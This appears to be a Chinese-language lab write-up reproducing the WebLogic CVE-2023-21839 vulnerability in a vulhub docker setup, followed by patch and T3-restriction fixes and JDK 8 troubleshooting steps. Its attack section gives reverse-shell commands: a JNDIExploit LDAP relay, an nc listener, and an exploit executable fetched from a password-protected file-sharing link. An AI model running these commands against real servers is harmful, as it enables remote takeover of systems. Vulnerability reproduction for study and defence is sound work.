免责声明
本文仅用于参考和学习交流,对于使用本文所提供的信息所造成的任何直接或间接的后果和损失,使用者需自行承担责任。本文的作者对此不承担任何责任。请在使用本文内容时谨慎评估风险并做出独立判断。谢谢!
正文
1.环境搭建
docker-compose搭建,下载地址:
https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2023-21839
运行命令:docker-compose up -d然后访问ip:7001/console就可以看到weblogic界面了
2.反弹shell
启动JNDI中转服务
java -jar JNDIExploit-1.4-SNAPSHOT.jar -i IP
再监听个端口
nc -lnvp PORT
利用工具进行攻击
https://wwkn.lanzn.com/i89FC1ktgo4f密码:gw0b
CVE-2023-21839.exe -ip 靶机IP -port 7001 -ldap ldap://服务器IP:1389/Basic/ReverseShell/服务器IP/监听端口
3.修复方式
(1)下载最新补丁,链接:https://support.oracle.com/rs?type=doc&id=2917213.2
(2)限制T3协议访问
4.踩坑
JNDI服务这里报错了
"in thread "LDAPListener client connection reader for connection from xxx to xxxxx:1389" java.lang.IllegalAccessError: superclass access check failed: class com.feihong.ldap.template.TomcatEchoTemplate (in unnamed module @0x26933859) cannot access class com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet (in module java.xml) because module java.xml does not export com.sun.org.apache.xalan.internal.xsltc.runtime to unnamed module @0x26933859"
查了一下,是因为JDK版本的问题,这里附上常规解决方法,实际遇到得根据服务器的版本去下载JDK和修改环境变量
# 移除openjdk# 下载需要安装的java版本apt-get remove openjdk*
apt autoremove
https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html# 安装
在文件尾部加入以下信息:cp jdk-8u202-linux-x64.tar.gz /opt #将压缩包移动至/opt文件夹
tar -xvzf jdk-8u202-linux-x64.tar.gz #将压缩包解压至当前文件夹
cd jdk1.8.0_202 #进入解压好的文件夹
vi /etc/profile用vi编辑器打开profile文件
# 保存退出export JAVA_HOME=/opt/jdk1.8.0_202
export CLASSPATH=.:${JAVA_HOME}/lib
export PATH=${JAVA_HOME}/bin:$PATH
source /etc/profile# 维护符号链接
# 查看结果update-alternatives --install /usr/bin/java java /opt/jdk1.8.0_202/bin/java 1
update-alternatives --install /usr/bin/javac javac /opt/jdk1.8.0_202/bin/javac 1
update-alternatives --set java /opt/jdk1.8.0_202/bin/java
update-alternatives --set javac /opt/jdk1.8.0_202/bin/javac
java -version